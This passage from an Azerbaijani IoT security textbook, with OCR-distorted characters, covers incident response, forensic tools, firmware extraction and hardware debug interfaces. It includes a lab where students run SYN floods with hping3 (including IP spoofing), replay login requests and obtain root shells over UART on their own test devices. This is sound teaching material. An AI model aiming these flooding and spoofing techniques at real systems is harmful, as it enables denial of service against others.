miimkiindiir, lakin bazi ¢otinliklor var:

o IoT sistemlori osason bulud asasl infrastrukturlara giivonir.

o IoT cihazlar ¢ox vaxt mohdud resurslara malikdir (prosessing giicii, yaddas
vo ya kommunikasiya imkanlar1), buna goro do hadiso qeydlorini (log-lar)
toplayib gondoro bilmirlor.

Bu sabobdon, monitoring infrastrukturunun diizgiin qurulmasi zoruridir. IoT
sistemlorini dostokloyon bulud provayderlorindon (CSP) golon molumatlar vo
cthazlarin 6ziindon oldo edils bilon biitiin miimkiin molumatlar toplanmalidir.

Bazarda mohdud sec¢imlor movcud olsa da, bozi startap sirkotlori bu boslugu
doldurmaga calisir. Bastille adli sirkot, IoT ii¢clin RF-monitorinq (radio tezlik
monitoringi) holli {izorinds isloyir. Onlarin mohsulu 60 MHz-don 6 GHz-o godor
olan tezlik araligini ohato edir vo osas IoT kommunikasiya protokollarini izloyir.

Bastille-nin simsiz monitoring holli, SIEM sistemlori ilo inteqrasiya olunaraq
simsiz [oT sobokolorinds tam miisahido imkani yaradir.

No etmoli?
o Daimi skan etmo vo SIEM hadiso olagolondirmo sistemlorindon istifads
edilmolidir.
o Bulud asasli vo ya edge computing (konar hesablama) analiz sistemlori totbiq
olunmalidir.

o Splunk kimi hallor IoT tohliikasizliyi li¢iin effektiv vasitolordir.

o IoT ii¢iin rogomsal ekspertiza va insident cavab proseslari (DFIR)

IoT spesifik rogomsal ekspertiza vo insident cavab plam1 (DFIR) {iciin, ilk
novbado mdveud tohliiko ndvlarinin yaxsi basa diistilmosi lazimdir.
Miimkiin tohliiko gostoricilori (indikatorlar1) asagidakilar: ohats eds bilor:
o Sohv yOnlondiron saxta sensor molumatlari IoT analiz sistemlorini ¢asdirmaq
tiglin goéndorilo bilar.
o Saxta IoT cihazlarindan istifado edorok miiossisa sobokolorindon moalumat
ogurlama cohdlari goriils bilor.
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IoT tahliiks gostaricilari vo hiicum cohdlari

[oT sistemloring qarst hoyata kecirila bilocak tohliiko cohdlori asagidakilardir:
Moxfiliyo miidaxilo cohdlori — Insanlarin harada oldugunu vo no etdiklorini
1zlomak ti¢lin moxfiliyi pozan nazarat mexanizmlari totbiq edils bilar.

Zorarli program inyeksiyasi — IoT idareetma sistemlorina zorarli program
(malware) daxil edorok, fordi soxslor, toskilatlar vo ya qosulmus cihazlar
arasindaki etibarli olagolordon sui-istifado edils bilor.

Biznes foaliyyatlorini pozmagq li¢iin xidmatin dayandirilmasi hiicumlar1 (DoS,
DDoS) hayata kecirilo bilar.

[oT cihazlarina icazosiz giris — Hiicumgular [oT sistemlorini fiziki vo ya
program tominati vasitasilo sindiraraq onlar1 zadaloys bilor.

Molumatlarin moxfiliying tohliiko — Cihazlar, kegidlor (gateways) vo bulud
osaslt kriptoqrafik modullara miidaxilo edorok IoT sobokasi boyunca
molumatlar1 ogurlamaq miimkiindiir.

Maliyyas firildaglari — Hiicumcular avtonom va etibarli 6donis sistemlarinden
faydalanaraq maliyys qazanci oldo etmoyo calisa bilorlor.

IoT Hiicumlarina Qars1 Miidafio Strategiyalari

IoT sistemlorindo tohliikasizlik insidentlorine cavab verarkon, hiicumun bas

verdiyini vaxtinda anlamaq olduqca vacibdir.

[oT cihazlariin ¢oxu etibarli identifikasiya molumatlar1 saxlayir vo bu
molumatlar hiicum noticosinda tohliikoyo diiso bilor.

Ogor etibarli olago komprometasiya edilorso, hiicumgular sistemds "yanal
horokot" edo bilor vo digor sistemlora do miidaxilo etmo imkanina sahib
olarlar.

Monitoring sistemlori kifayot godor inkisaf etmodikdos, bu ciir horokotlor gizli
va sossiz sokildo hoyata kegirilo bilor.

Bir insidentin askarlanmasi {i¢lin ¢ox vaxt tolob oluna bilor vo bu miiddot
orzinds hiicumcular sistemin kritik alt sistemlorino miidaxilo edos bilor.
Insident bas verdikdo, cavab prosesi dorhal digor IoT cihazlarini, hesablama
resurslarini vo sistemlori analiz etmoya yonalmolidir.

Toossiif ki, hal-hazirda minlorlo vo ya milyonlarla bagh cihazin tohliikosizlik
voziyyaetini siiratlo miioyyon edon alstlor mohdud saydadir.

Komprometasiya olunmus sistemlarin analizi

Bir insidenti ugurla tohlil etmok {i¢iin miiasir tohliikkolor vo gostoricilor

haqqinda aktual vo genis bilikloro malik olmaq vacibdir. Effektiv tohliiko kosfiyyati
alotlori vo prosedurlar1 insident cavab komandalarinin osas bacariglari arasinda
olmalidir.
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[oT sistemlori kibertohliikosizlik hiicumlarinin osas hodofine cevrildikco,

tohliiko paylagsma platformalar asagidaki gostoricilori vo miidafio niimunslorini
tizvlari 1lo boliisiir:
Movcud Tohliike Paylagma Platformalarina Niimunaolor:

DHS Automated Indicator Sharing (AIS) tosabbiisii — Enerji vo texnologiya
sektorlarina yonalmis tohliiko molumatlarinin paylasimi. (https://www.us-
cert.gov/ais)

Alienvault Open Threat Exchange (OTX) — Aciq tohliikko paylasma
platformasi. (https://www.alienvault.com/open-threat-exchange)

IBM X-Force Exchange — Bulud osashi tohlilko kosfiyyat xidmoti.
(http://www-03.ibm.com/software/products/en/xforce-exchange)
Informasiya Texnologiyalar1 Tohliiko Paylasma vo Analiz Morkozi (ISAC)

Missiya-yOoniimlii tohliike kasfiyyati tizra ixtisaslagmis ISAC-lara niimunalor:

Sonaye Idaraetmo Sistemi (ICS) ISAC (http://ics-isac.org/blog/home/about/)
Elektrik enerjisi sektoru ISAC

Ictimai noqliyyat va sath nagliyyat1 ISAC

Su tochizati sistemlori ISAC

Tohliikonin tohlili vo zaman ¢arcivasinin hazirlanmasi

Miimkiin insident miioyyon edildikdon sonra, hiicumun miqyasint vo

aktivliyini toyin etmok ii¢iin olavo analizlor aparilmalidir.

Analitiklor insidentin bas vermo miiddotini izlomok iigiin bir faaliyyot qrafiki
(timeline) hazirlamalidir.

Yeni molumatlar oldo edildikco bu zaman codvali yenilonmalidir.

Baslangic vaxti vo digor ohomiyyatli hadisolor sonadlogdirilmoalidir.

Audit vo log molumatlarindan istifado edorok hadisalorin olagolondirilmasi
aparilmalidir.

Dogqiq vaxt monbayinin qorunmasi vo yayilmasi vacibdir.

[oT sistemlorindo Soboko Zaman Protokolundan (NTP) istifado edilmosi,
insidentlora gars1 miibarizodo ohomiyyoatli rol oynayir.

Bu zaman qrafiki komandaya hiicumgularin hansi addimlar1 atdigini toyin
etmoyo komok edacak.

Hiicum edonin miioyyon edilmasi vo komprometasiya olunmus cihazlarin
analizi

IoT tohliikasizlik insidentlorinin arasdirilmasi zamani, hiicumun monbayini

miloyyaon etmok ticlin tohlil aparmaq vacibdir. Bu, hiicum edonlorin kimliyini askar
etmok (attribution) prosesini ohato edir.

Hiicumgcularin Kimliyini Miioyyan Etmok Uciin Istifads Olunan Alatlor:

WHOIS verilonlor bazas1 — Hiicumda istirak edon IP {invanlarinin sahiblorini
miioyyan etmok liciin istifado olunur.
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Kommando vo nozarat (C&C) serverlorinin askarlanmasi — Bozi hiicumgular
botnetlor, yoluxmus hostlar, VPN-lor vo ya Tor sobokalorindaon istifads edorak
izlorini gizladirlor.

Problem: IoT hiicumlarinin bir ¢oxunda, hiicum edon cihazin IP iinvani

olmaya bilor vo ya qurbanin sobokosindo foaliyyot gostordiyino gore IP iinvani
1zlomokls hiicumgunu tapmagq ¢atinlogo bilor.
Miiasir hiicum texnikalar1:

Dinamik pivoting — Hiicumcgular bir sistemdon digorina kegarok izlorini
gizladirloar.

[zlonilmoays qars1 tadbirlor — Ddvlat dostayi olan hacker qruplari v ya pesokar
kibercinayatkarlar izlorini tez bir zamanda silmok ii¢lin xiisusi alatlorden
istifada edirlor.

Komprometasiya olunmus cihazlarin dorin tahlili

Hiicumgunun izlorini tapmaq {clin yoluxmus cihazin fayllar1 analiz
olunmalidir.

Cihaz iizorinds yiiklonmis fayllarin torkibini tohlil etmok hiicumgunun istifads
etdiyi tisullar1 agkar edo bilor.

IoT insident cavab1 hom do soboko kegidlorinin (gateways) ekspertizasini

tolob edo bilor.
Tohliikasizlik miitoxassislori adoton yoluxmus sistemlorin goriintiilorini

(images) oldo edorok offline rejimdo aragdirirlar. Bu prosesdo uygunlagdirila bilon
infrastruktur alotlori IoT sistemlorinin analizi {i¢iin cox faydali ola bilor.

O

Xeyirli va zararli sistemlar arasindaki miiqayisd

[oT cihazlarmin normal foaliyyatini oks etdiron sistem goriintiilori (baseline),
tohliikasizlik insidentlorindo miigayise iigiin istifads edilo bilor.

Docker imiclori IoT cihazlarimin yerlogdirilmasi {iigiin istifado edildikdo,
onlarin konfiqurasiyasi tohlil i¢lin etalon kimi istifado edils bilor.
Avtorizasiya sistemlori qurulduqda:

IoT autentifikasiya sistemlorindon golon jurnallar (logs) doyoarli molumat
monbayi ola bilor.

Sistemdo ugursuz giris cohdlorini, siibholi ugurlu girislori vo anormal IP-lori
izlomok insidentlorin agkarlanmasina komok edor.

Enterprise SIEM qaydalar1 tohliiko kosfiyyat molumatlari vo reputasiya
verilonlor bazalarindan istifado edorak bu funksionallig1 tomin eds bilor.

Mbolumatin ogurlanmasi vo hiicum arasdirmalari

[oT sistemlorindo insident aragdirmalarinin osas moaqsadlorindon biri hansi

molumatlarin komprometasiya olundugunu toyin etmokdir.
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Molumat ogurlanmasinin (exfiltration) miioyyon edilmosi ilk addimdir, lakin

hiicum naticasindo alds edilon molumatlarin necs qorundugunu anlamaq da vacibdir.
Osas suallar:

Ogurlanan molumatlar giiclii  kriptoqrafik {sullarla qorunmusdursa,
hiicumgularin bundan real fayda slds etmasi ¢atin ola bilor.

Ogor hiicum edon soxs sifrolonmis molumatlar1 olds edibss, onun dekod
edilmasi liciin lazim olan soxsi acarlar1 da aldo edibmi?

Tagkilat molumatlarin vaziyyatini (sifrolonmis vo ya agiq matn) sistemin hor
noqtasindo, hostlarda, sobokada va totbiglords izloys bilirmi?

Malumat ogurlugunun miqyasini doqiq miiayyan etmak tiigiin:

Audit sistemlorindon vo loq molumatlarindan istifads edilmoalidir.

Hiicumun hanst noqtalorde bas verdiyi vo molumatlarin hara gonderildiyi
aragdirilmalidir.

Tonzimlayici vo hiiquqi 6hdsliklora uygun olaraq melumat pozuntularinin
bildirilib-bildirilomayacayi miioyyon olunmalidir.

IoT sistemlorinda insidentlori arasdirmagq iiclin asagidaki roqomsal forensik

alotlordan istifada edila bilor:

bilor.

GRR - Insidentlor iizro rogomsal arasdirma vo analiz alati.

Bit9 — Zararli programlarin agkarlanmasi va sistem davraniglarinin izlonilmasi
liciin istifada olunur.

Mastiff — Fayl analizlori va sistemlarin tohliikosizlik auditi Gigiin.

Encase — Hiiqug-miihafizs orqanlar1 torofindon genis istifado edilon ekspertiza
alati.

FTK (Forensic Toolkit) — Tohliikosizlik insidentlorinin dorin analizi ii¢iin
istifado olunur.

Norman Shark G2 — Zororli programlarin (malware) askarlanmasi vo analiz
edilmosi tigiin istifado olunur.

Cuckoo Sandbox — Siibholi fayllarin tohliikosiz miihitdo islodilorak tohlil
edilmosi tiglin moashur bir platformadir.

Ononavi forensika alatlori IoT cihazlarinin analizi {igiin tam uygun olmaya

Todgiqatcilar yeni "Next Best Thing" yanagmasini toklif edirlor:

[oT cihazlarinin 6zlori homiso faydali molumatlar saxlamaya bilor.

Molumat miibadilasi edon digor sistemlor, masalon, serverlor, soboka kegidlori
v bulud infrastrukturuna diqqot yetirilmolidir.

MQTT miistorilori birbasa molumat saxlamasa da, molumatlari yuxari
soviyyali MQTT serverlorino géndors bilor.

Bu halda, molumatlarin tohlili iigiin serverlor daha shomiyyatli monba ola
bilor.
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o 0T cihazlarimin tohlili

Bozi hallarda IoT cihazlarinin 6zlorindon kritik molumatlarin oldo edilmosi
mimkiindiir.

o Insident arasdirmalarinda cihazin firmware-nin ¢ixarilmasi v tohlili vacibdir.

o 10T cihazlarinin boyiik miixtalifliyi sobabindan spesifik alot vo metodlar fargli
ola biler.

Tohliikasizlik sirkatlori ilo omokdasliq:

o Bu foaliyyatlor, forensika sahasindo pesokar olan va siibutlarin qorunmasi
qaydalarini bilon tohliikasizlik firmalarina havals edilo bilor.

o Ogor molumat mohkomo prosesindo istifado edilocokso, siibut zoncirinin
gorunmasi vacibdir.

Daxili cihazlarin (embedded devices) analiz edilmaosi ¢atin ola bilar, ¢iinki:

« Boziistehsalgilar yaddasa USB interfeysi toqdim etsalor do, cox vaxt yaddasin
hansi sahoalorinin algatan olmasin1 mohdudlasdirirlar.

o Ogor cihaz UNIX (Linux asasli) bir omaliyyat sistemi niivosine malikdirse vo
analiz¢i ona komanda sotrindon giris aldo edo bilirso, dd omri ilo cihazin
yaddas goriintiisii (image), bolmolori vo master boot record ¢ixarila bilor.

JTAG vo UART vasitoasilo yaddas ¢ixarilmasi:

o Ogor cihazin standart interfeysi yoxdursa, JTAG vo UART portlar vasitosilo
birbasa yaddas1 ¢ixarmaq miimkiindiir.

« Bozi tohliikosizlik yoniimlii istehsal¢ilar JTAG interfeyslorini deaktiv edir vo
ya gizlodirlor.

o Bu ciir hallarda, fiziki miidaxilo tolob oluna bilor (mosalon, cihazin fiziki
goruma gatini ¢ixarmaq).

Ogor JTAG test portlar1 aktivdirso, asagidaki alotlor faydali ola bilor:

e Open On-Chip Debugger (http://openocd.org/)

o UrJTAG (http://urjtag.org/)

Bu alatlor flash ¢iplori, prosessorlar1 vo digor daxili sistem arxitekturalar ilo
olago yaratmagq tigiin istifado edilo bilor.

Ogor JTAG vo UART interfeyslori olcatan deyilso, "chip-off" (¢ip ayirma)
texnikasi totbiq edilo bilar.

o Chip-off prosesi yaddas ¢ipinin fiziki sokilds cihazdan ¢ixarilmasidir.

o Bumetod iimumiyyatlo destruktivdir (¢ip cihazdan ayirildigdan sonra yenidon
istifado edilo bilmoz).

« Cip kimyovi tisullarla va ya lehim ¢ixarma metodlari ilo ayrilir.

o Daha sonra xiisusi proqramlasdiricilar vasitosilo ¢ipin yaddasi oxunur vo
analiz edilir.

Chip-off metodu timumiyyatlo yiiksok soviyyeli laboratoriyalar torafindon
hoyata kegirilir.
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[0T cihazlarmin tam yaddas ¢ixarilmasi basa ¢atdiqdan sonra, ndvboti addim
binari (binary) malumatlarin analizi olur.

Cip vo arxitekturadan asili olaraq, asagidaki alotlor xam binary analizini
aparmagq liclin istifado edilo bilor:

o Binwalk (http://binwalk.org/) — Firmware igarisinds fayllari, fayl sistemlorini
vo xiisusi imzalar1 agkarlamagq ti¢iin istifads edilir.

o IDA-Pro (https://www.hex-rays.com/products/ida/index.shtml) -
Tohliikasizlik  todqiqatcilart  torofindon  genis istifado  edilon, OS
arxitekturalarindaki bosluglar1 askarlamaq ti¢lin giiclii bir disassembler vo
debugging alati.

o Firmwalker (https://github.com/craigz28/firmwalker) — Firmware daxilindo
fayllar1 va fayl sistemlorini axtarmagq ti¢lin skript asasl bir vasito.

8.3.3. Mohdudlasdirma, logv etma vo barpa: Infrastrukturun tohliikasizliyi

Insident reaksiyasi zamani cavablandirilmasi vacib olan suallardan biri, hansi
sistemlorin kritik biznes/missiya proseslorini pozmadan oflayn edils bilocoyidir. [oT
sistemlorindo ¢ox vaxt yeni cihazla kohnosini doyismok nisboton asandir; bu iso
diizgiin gorar vermok {i¢iin nozors alinmalidir. Bu homigo miimkiin olmur, lakin ogor
yoluxmus cihazlari tez bir zamanda doyismok miimkiindiirso, bu yol secilmolidir.

Sado hallarda, yoluxmus cihazlar operativ sobokodon miimkiin qodor tez
cixarilmalidir. Bu cihazlarin voziyyati ciddi sokildo qorunmalidir ki, ononovi
kriminalistika alotlori vo proseslori vasitosilo daha sonra tohlil edilo bilsin. Lakin
burada da problemlor movcuddur, ¢linki bazi mohdud cihazlar tohlil {i¢lin vacib
molumatlari silo bilor (https://www.cscan.org/openaccess/?1d=231).

Daha miirokkob hallar IoT sliiziinliin (gateway) komprometasiya olundugu
zaman bas verir. Togkilatlar, ogor sliiz zoroar gérorso, istifadoyo hazir olan avvalcodon
konfiqurasiya edilmis ehtiyat sliizlori ol altinda saxlamalidir. Miimkiindiirso, IoT
cihazlarmin hamisin1 yenidon proqramlasdirmaq da tolob oluna bilor. Bu giin bu,
cotin mosoladir. Avtomatlasdirilmis program tominati/mikroprogram yenilomo
xidmatlori (masalon, Microsoft Windows Server Update Services (WSUS) totbiqi
kimi) [oT sahosindo boyiik catismazliq toskil edir. Harada vo no vaxt olursa olsun
yamagqlarin totbiqi miimkiin olmalidir vo bu, miitloq tolob olunan bir
funksionalliqdir. Bu imkan cihazin kimo moxsus olmasindan va ya basqga bir sahiblo
bulud xidmatloring ko¢iiriilmasindon asili olmayaraq islomolidir.

Infrastruktur hesablama platformalar1 da nozoro almmalidir. Operativ
sobokodon serverlori vo ya server tosvirlorini (buludda) ¢ixarmaq vo yeni, bazaya
uygunlasdirilmis tosvirlorlo avoaz etmok lazimdir ki, xidmatlor islok galsin (bu, bulud
yerlosdirilmasindo daha asandir vo siiratlidir).

Insident cavab planina bu prosesin biitiin marholalori daxil edilmalidir. Ogor
bulud idaroetmo interfeysindon istifads olunursa, omosliyyatin icra edilocayi konkret
idaraetmo URI-si va yering yetirilmali addimlar doqiq miisyyanlasdirilmalidir. IoT
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cthazlarinin sistemdo neco askar edilocoyini miioyyonlosdirmok do vacibdir.
Yoluxmus sistemlorin suratini tocrid edorak kriminalistika tohlili ii¢iin qorumagq vo
burada zararvericinin istifads etdiyi zoif noqtelori miisyyanlosdirmak lazimdir.

Bir mogami1 qeyd etmok lazimdir: hor zaman kibercinaystkarin vo ya
zararvericinin sabokods no etdiyini izlomok arzuolunandir. ©gor kifayst qodor
resurslar mévcuddursa, montiqi gaydalara osaslanan sliiz qurmaq faydali olardi. Bu
zaman yoluxmus loT cihazlar1t miioyyan amrlor va ya sablonlar asasinda ayird edilo
bilor ki, hiicum edonlor askar edildiklorini anlamasinlar. Alternativ olaraq,
tosirlonmis cihazlarin trafikini daha otrafli analiz {i¢lin sandbox miihitino
yonlondirmok olar.

8.3.4. Insident sonrasi faaliyyatlor

Bozon borpa morhalesi adlandirilan bu prosesa root cause analizinin
aparilmasi, insidentdon sonra kriminalistika tohlili, maxfiliyin qiymatlondirilmasi va
hans1 fordi molumatlarin (PII) sizdigin1 miisyyanlosdirmok daxildir.

Root cause analizi kibertohliikosizlik sisteminin hansi sobablordon
ugursuzluga ugradigini miioyyon etmok vo bu ciir insidentlorin tokrarlanmamasi
lictin atilmali addimlart planlasdirmaq maqgsadilo hayata kegirilmoalidir. Homginin,
[oT cihazlar1 vo olagodar sistemlor insidentdon sonra oxsar vo ya eyni hlicumgulara
qars1 aktiv sokildo yoxlanilmalidir.

Komanda iizvlorinin insident zamani qazandiqlar1 tocriiboni boliismosi tigiin
retrospektiv iclaslarm kegirilmasi vacibdir. Insident cavab planma bir giinliik, bir
hoftalik vo bir ayliq tohlil iclaslar1 alava edilo bilor. Bu miiddot orzinds insidentin
monboyi, hiicum metodlari, istismar edilon zoifliklor vo komandanin reaksiyasi
otrafli sokilds arasdiriimalidir.

Retrospektiv iclaslar konstruktiv miizakiro soraitindo, glinahlandirma vo
ittihamlardan uzaq sokildo toskil edilmolidir. Burada osas mogsad:

1. insidentin neco bas verdiyini,

2. hadisonin gedisatini,

3. insidento reaksiyanin effektivliyini vo

4. golocokdo daha yaxsi todbirlor géormok {i¢iin hansi doyisikliklorin edilmasi
lazim oldugunu tohlil etmokdir.

Bu iclaslar golocok {i¢iin vacib dorslorin yadda saxlanmasini tomin etmoli vo
eyni sohvlorin tokrarlanmamasi liclin tokmillosdirma addimlar
miuoyyonlogdirilmalidir.
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8.4. Praktiki Hissa va Tapsiriglar

8.4.1. IoT Sistemlorinds Tohliikasizlik Hadisolorino Cavab: Monitoring,
Tahlil va Qars1 Tadbirlor

Mogqsad:

Bu laboratoriya isinin osas maqsadi toloboyo IoT sistemlorindo bas veron
tohliikasizlik insidentlorino cavab vermo bacariglarini asilamaqdir. Burada hom
soboko soviyyosindo, hom do totbiq soviyyasindo bas vers bilocok anomal
davraniglarin agkar edilmasi, tahlili va qarsi tadbirlorin totbiqi gostarilir.

Talablor:

Ubuntu/Linux miihiti (Jetson Nano v ya Virtual Masin)
Python 3.x

Scapy, matplotlib, seaborn, pandas

Wireshark vo/vo ya tshark

hping3, nmap (hiicum simulyasiyas1 ii¢iin)

v" Addim 1 — Normal vo Anomal Malumatlarin Yigilmasi vo Vizual Analizi

Bu addimda ovvalki fasillordo toplanmis real vo sintetik soboko trafikindon
istifado olunur. Molumat pcap vo ya binetflow formatinda mévcud olmalidir. Python
kodu ilo normal vo anormal trafikdon osas xiisusiyyatlor (duration, bytes, proto vo
s.) ¢ixarilir vo grafiklorlo tohlil olunur. Bu addim insidentlorin ilk morholosi —
“Detection” marhalasini ohats edir.

v" Addim 2 — Anomal Trafiko SYN Flood Hiicumunun Simulyasiyasi

Burada SYN flood ils sistems overload totbiq olunur. CPU vo RAM istifads
top ilo izlonilir. Bu addim “Investigation” morholoasine uygundur. Talobas sistemin
resurslarinin neco tiikkondiyini miisahido edir.

v' Addim 3 — Replay Attack vo Zaif API Trafikinin Yoxlanmasi
Sado Flask API qurularaq login sorgular tokrarlanir. Burada Wireshark vo
ya tshark ilo URL-lor ag1q goriiniir.
Bu addim insidentin gedisatina dair detall1 tohlil morhosloasini ohato edir.

v" Addim 4 — Cavab vs Qars1 Tadbir

Sistemo fail2ban, iptables, rate-limit totbiq olunur:
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¢ sudo apt install fail2ban
¢ sudo iptables -A INPUT -p tcp --dport 5000 -m connlimit --
connlimit-above 20 -j DROP

Bu addim “Response & Containment” marhalasina uygundur. Hiicumgu IP-
si bloklanir, limitlor totbiq olunur.

v" Notico

Bu laboratoriya isindo asagidaki bacariglar inkisaf etdirilir:
e Anomal davranislarin vizual tohlili

SYN flood va replay hiicumunun analiz vo askarlanmasi
Wireshark ilo insident izlorinin tohlili

Sistem resurslarinin overload vaziyyatinin monitoringi
Cavab tadbirlori — fail2ban, iptables, rate-limit totbiglori

Eyni zamanda “NIST Cybersecurity Framework™ carcivasinda “Detect”,
“Respond” va “Recover” marhalalari 6yradilir.

v' Tapsirigqlar

® http server.py prosesind SYN flood hiicumu tatbiq edin va Jetson Nano {izerinds top
va htop alatlori ilo RAM vo CPU yiikiinii miiqayiso edin.

® sudo netstat -ant omrindon istifado edorok yarim¢iqg TCP baglantilarinin
(SYN_RECYV) sayimi hesablamagq {i¢iin bash script yazin.

e Wireshark vo ya tcpdump ilo SYN paketlorinin yogunlugunu real vaxt izloyin. Hans1 port
vo IP iistiinliik togkil edir?

e Raspberry Pi cihazinda Flask server qurun vo curl ilo autentifikasiya testlori hoyata
kecirin. Replay hiicumu ssenarisi qurun vo naticoni analiz edin.

e Totbiq serverindo ufw firewall konfiqurasiya edorok yalniz miioyyan IP-lorin girisini icazo
verin. Sinaq maqsadila hiicumgu IP-ni bloklayin.

® auth server.py skriptindd username v password doyarlorini GET metodu ilo géndarin.
Wireshark ilo homin doyarlorin URL-don oxundugunu siibut edin.

e Jetson Nano iizorindo iptables qaydasi yazaraq 1 dogigodo 20-don ¢ox TCP baglanti
golon IP-lari avtomatik bloklayan sistem qurun.

e Wireshark-da "SYN flood" hiicumunun forqlondirici gostaricilorini 3 ciimls ils agiglayin.
On az1 3 SYN-ACK cavabi gostarilon screen ¢ixarim.

e Replay hiicumu ssenarisindo eyni URL sorgusunu curl vo while true; do ... done
ilo 10 dofs ardicil gondarin. Serverds reaksiya forqini miisahide edin.

® auth server.py kodunu tokmillosdirorok sado token mexanizmi olavo edin. Token-lo
sorgu gondermayan cohdlors “unauthorized” status qaytarsin.

e Nmap ilo port scan naticosini analiz edin: hansi portlar agiqdir vo hansi xidmotlors
uygundur? Jetson Nano-da TCP 5000 portunu scan edin.

® tcpdump -nn -i ethO port 5000 komandasindan istifado edorok SYN paketlorini real
vaxt miisahids edin. ©n az 5 forqli IP-don paket goldiyini siibut edin.
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Python ilo HTTP servers ardicil 100 POST sorgusu géndoran script yazin vo serverdo bu
yiiklomonin tosirini tohlil edin.

Raspberry Pi-ds fail2ban totbiq edin. auth server.py log faylina asaslanaraq 5 ugursuz
girig cohdindon sonra IP-ni bloklasin.

TCP SYN hiicumunu hping3 ilo daha agilli sokildo icra etmok {igiin: intervali, monbo
portlarint va IP spoofing-i dayisdirorok miixtolif varyantlar sinayin.

TLS olmayan HTTP baglantisin1 wget vo curl ilo yoxlaym. Malumatlarin plain-text
otiirtildilytinii stibut edon screen slava edin.

Iki farqli hiicum ssenarisi qurun — biri GeT, digari PoST metodu ilo sifro géndorir. Hansi
daha tohliikelidir vo niya?

Jetson Nano vo Raspberry Pi cihazlarini paralel olaraq SYN flood hiicumuna moruz qoyun.
Hans1 daha tez overload olur vo niya?

Flask servero JWT asash autentifikasiya alavo edin. Hiicumgunun bu sistemi neco bypass
edo bilocoyini tohlil edin.

iptables ilo giris baglantilarina rate 1imit totbiq edin. Limit kecildikdo dmesg vo
syslog loglarinda geyds alinan mesajlar1 gostorin.
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9. 10T Cihazlarda Firmware vo Hardware Tohliikasizlik
Analizi

“Ogar bir cihazin i¢ini oxumagi bacarirsansa, demali onu neca yazmaq va gorumaq
lazim oldugunu da anlaywsan. Bu isa sani sadaca tadqiqat¢t yox, sistem miihandisi
saviyyasina gatiran bir addimdir” — Dr. Asif Ganbayev

9.1. Giris

Gilintimiizdo milyardlarla cihaz "agilli" adlandirilsa da, onlarin ¢oxu hala do
tohliikasizlik baximindan zoif miidafio olunmus voziyyotdodir. “Agilll” ev
sistemlorindon sonaye nozarot avadanliglarina godor hor bir IoT (Internet of Things)
cihazinin ic¢arisinds onun isini tomin edan vo idars edon firmware va bu firmware-1
dostokloyon hardware interfeyslor movcuddur. Tohliikesizlik todqiqatgilart vo
pentesterlor iiclin bu komponentlor cihaz1 analiz etmok, zoifliklori
miioyyanlosdirmak vo lazim galdikdo miidaxile etmak {i¢lin qap1 rolu oynayir.

[oT cihazlarin i¢ strukturu bir ne¢o osas interfeysdon ibarotdir. Bunlara
asagidakilar daxildir:

e UART (Universal Asynchronous Receiver/Transmitter

UART on sado vo genis yayilmis serial interfeyslordon biridir. O, iki osas xott
- Tx (gondorici) vo Rx (gobuledici) vasitosilo iki cihaz arasinda molumat
mibadilosini tomin edir. Adoton debug konsolu vo ya shell ¢ixisi iiglin istifado
olunur. UART vasitasilo cihazin boot prosesi izlonilo, hatta bazon root soviyyasindo
komanda girigine imkan yaradilir. Masalon, bir ¢ox router vo IP kamera cihazlarinda
UART interfeysini taparaq /bin/sh vo ya busybox shell aldo etmok miimkiindiir.

Device1 Device2
RX RX
GND—————GND

Sakil 9.1. UART interfeysi vasitasiyla cihazlarin birlagdirilmasi
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e SPI (Serial Peripheral Interface)

SPI daha yiiksok siirat tolob edon interfeyslor iigiin istifade olunur. Bu
interfeys master-slave arxitekturasi ilo isloyir vo osason flash yaddas ciplori,
sensorlar vo ekran modullar ilo alage qurmag tigiin nozards tutulub. Pentesterlor SPI
vasitasilo flash c¢ipin i¢indoki firmware-1 ¢ixararaq analiz eds bilorlor. Niimuno
olaraq Linuxda flashrom -p linux_spi komandas1 ilo SPI tizorindan firmware oxumagq
mimkiindiir.

Slave 3

CLK/ SCK

MISO
551

Master

Sokil 9.2. SPI interfeysi vasitasiyla cihazlarin birlasdirilmasi

e I2C (Inter-Integrated Circuit)
12C asag siirotli vo sado qurgular arasinda {insiyyot {li¢iin istifado olunur. Bu
interfeys osason konfiqurasiya ¢iplori, RTC modullar, EEPROM va sensorlar ilo

islomok {¢ilin genis istifado olunur. Bu xottdo tapilan molumatlar, mosolon,
konfiqurasiya doyorlori vo ya sifro fragmentlori, hiicum tigiin ohomiyyatli ola bilor.

Master Slave 1

SDA B3 T SDA
sCL ' SCL

Slave 2

% | SDA
vece Veo e SCL

Slave 3

4 SDA

. SCL

Sakil 9.3. 12C interfeysi vasitasiyla cihazlarin birlasdirilmasi
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e JTAG (Joint Test Action Group)

JTAG — cihazin i¢indoki prosessor va ¢iplarlo asagi soviyyali debugging vo
yaddas analizlori aparmaq tgiin istifade olunan interfeysdir. Digor interfeyslordon
forqli olaraq, JTAG ilo cihazin daxili registrlori, stack, RAM va flash yaddasi
tizorindo tam nazarat oldo etmok miimkiindiir. Bu texnologiya ham tomir, hom do
tohliikasizlik todqiqatlart iiclin vacib vasitadir. Masalon, OpenOCD vo GDB
vasitasilo JTAG ftizorindon cihazin canli debugging-i vo firmware doyisdirilmasi
miimkiindiir.

9.2. Attify Badge ilo UART Tohliikasizlik Tahlili vo Root Shell
9lda Edilmasi

IoT tohliikasizlik tadqiqatcilarinin laboratoriyasinda an vacib avadanliglardan
biri miixtalif hardware interfeyslorlo isloya bilon universal analiz cihazidir. Bels
alotlordon on funksional olan1 Attify Badge adlanir. Bu coxmogsadli qurgu UART,
SPI, 12C vo JTAG kimi asag1 soviyyeli rabito interfeyslori vasitosilo 1oT va
embedded sistemlorlo garsiligl olago qurmaga imkan verir.

Attify Badge tlizorinds yerlosdirilmis FTDI ¢ipi, bu interfeyslori kompiiterin
basa diiso bilocay1 USB protokoluna ¢evirarak, sistemo uygun kommunikasiya tomin
edir. Sokil 9.4-do cihazin timumi goriiniisli togqdim olunmusdur.

Sakil 9.4. Attify Badge — hardware tahlili iiciin coxmaqsadli alat

Attify Badge iimumilikdo 18 pin togdim edir. Bunlardan 10-u enerji tochizati
(3.3V vo 5V) vo Ground (GND) xaottlori iiglindiir. Qalan osas pinlor iso miixtolif
interfeys modullarina (UART, SPI, 12C, JTAG) uygunlasdirilib. Sakil 9.5 vo codval
9.1-do bu pinlarin yerlosimi oyani sokildo gostorilmisdir.
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Cadval 9.1. Attify Badge-nin Pin cadvali

Pin UART SPI 12C JTAG
DO TX SCK SCK TCK
DI RX MISO SDA* TDI
D2 — MOSI SDA* TDO
D3 — CS — TMS

GND

Attify

Badge

